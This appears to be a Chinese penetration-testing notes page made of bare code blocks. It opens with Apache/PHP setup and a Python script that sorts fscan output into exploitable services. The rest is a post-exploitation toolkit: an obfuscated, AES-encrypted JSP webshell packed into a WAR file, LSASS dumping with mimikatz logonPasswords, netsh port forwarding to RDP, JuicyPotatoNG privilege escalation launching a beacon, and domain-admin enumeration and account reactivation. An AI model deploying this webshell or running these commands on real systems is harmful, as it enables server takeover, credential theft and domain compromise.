1
2
3
4
5
6
7
8
9
10
11
12
13
14

安装php
yum install php php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash

安装apache
yum install httpd* -y

开启apache服务
service httpd start

关闭apache服务
systemctl stop httpd.servic

检查状态
systemctl status httpd.service

1
2
3
4

vi /etc/httpd/conf/httpd.conf
AddDefaultCharset UTF-8改成GB2312

systemctl restart httpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

import re
import os
from argparse import ArgumentParser

# sys读取参数
arg = ArgumentParser(description='Fscan_quchong')
arg.add_argument('-i', '--file', nargs='*',dest='file',help='Scan multiple targets given in a txt file',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()
# 数据结构

SSH=[]
ftp=[]
redis=[]
mysql=[]
mssql=[]
oracle=[]
Memcached=[]
poc=[]
WebTitle=[]
InfoScan=[]
rdp=[]
MS17010=[]
dic_use={
    # 可利用信息梳理
    r".*SSH.*":SSH,
    r".*redis.*":redis,
    r".*mysql.*":mysql,
    r".*oracle.*":oracle,
    r".*mssql.*":mssql,
    r".*Memcached.*":Memcached,
    r".*ftp.*":ftp,
    r".*poc.*":poc,
    r".*InfoScan.*":InfoScan,
    # 端口开放
    r":(\d?3389|33899.*)":rdp,
    r".*MS17-010.*":MS17010,
    r".*WebTitle.*":WebTitle
}
pattern=r"----------.*----------"

def getInfo():
    filetargets=[]
    # 读取指定txt，支持多个
    if result.file!=None:
        filetargets=result.file
    else:
     # 遍历当前文件夹 读取全部txt
        for dirpath, dirnames, filenames in os.walk('.'):
            for filename in filenames:
                if filename.endswith('txt'):
                    filetargets.append(filename)
    print("作用范围："+str(filetargets))
    for filepath in filetargets:
        with open(filepath,'r',encoding='utf-8') as f:
            for line in f.readlines():
               for key in dic_use.keys():
                   if re.findall(key,line): # 正则匹配
                       if not re.findall(pattern,line): # 去重原结果文件
                           dic_use[key].append(line)
                   dic_use[key]=list(set(dic_use[key])) # 去重

def output():
    if result.outfile !=None:
        filename=result.outfile
    with open(filename,"a",encoding='utf-8') as file:
        #清空输出文件
        file.seek(0)
        file.truncate()
        for key in dic_use:
            if len(dic_use[key])!=0:
                if '3389' in key:
                    file.write("----------"+"疑似RDP"+"----------"+"\n")
                    file.write("\n")
                else:
                    # 写入数据
                    file.write("----------"+key[2:-2]+"----------"+"\n")
                    file.write("\n")
            for i in dic_use[key]:
                file.write(i)
            file.write("\n")
    print("结果已生成："+filename)
def main():
    getInfo()
    output()
    

if __name__ == '__main__':
    main()

1

jar -cvf shell.war ./shell.jsp

1

<%! public byte[] A14I0(String Strings,String k) { try {javax.crypto.Cipher BI3fM5 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BI3fM5.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) BI3fM5.getClass()./*Z5Z48C2BT7*/getDeclaredMethod/*Z5Z48C2BT7*/("doFinal", new Class[]{byte[].class}).invoke(BI3fM5,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><%  try {  String KP8HYn8 = "e45e329feb5d925b";  session.putValue("u", KP8HYn8);  byte[] I934d9i = A14I0 (request.getReader().readLine(),KP8HYn8);  java./*Z5Z48C2BT7*/lang./*Z5Z48C2BT7*/reflect.Method A14I0 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z5Z48C2BT7*/("defineClass",byte[].class,int/**/.class,int/**/.class);  A14I0.setAccessible(true);  Class i = (Class)A14I0.invoke(Thread.currentThread()./*Z5Z48C2BT7*/getContextClassLoader(), I934d9i , 0, I934d9i.length);  Object Q362 = i./*Z5Z48C2BT7*/newInstance();  Q362.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>

1

CallbackDump.exe to

1
2
3

dumpXor.exe VM21-6-8.log 1.dmp
sekurlsa::minidump 1.dmp
sekurlsa::logonPasswords

1

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.121.132 connectport=3389 connectaddress=192.168.121.132

1

netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.121.132 protocol=tcp

1

shell JuicyPotatoNG.exe -t * -p "beacon.exe"

1
2
3

net group "domain admins" /domain
shell net user xxxx
shell net user xxxx /active:yes /domain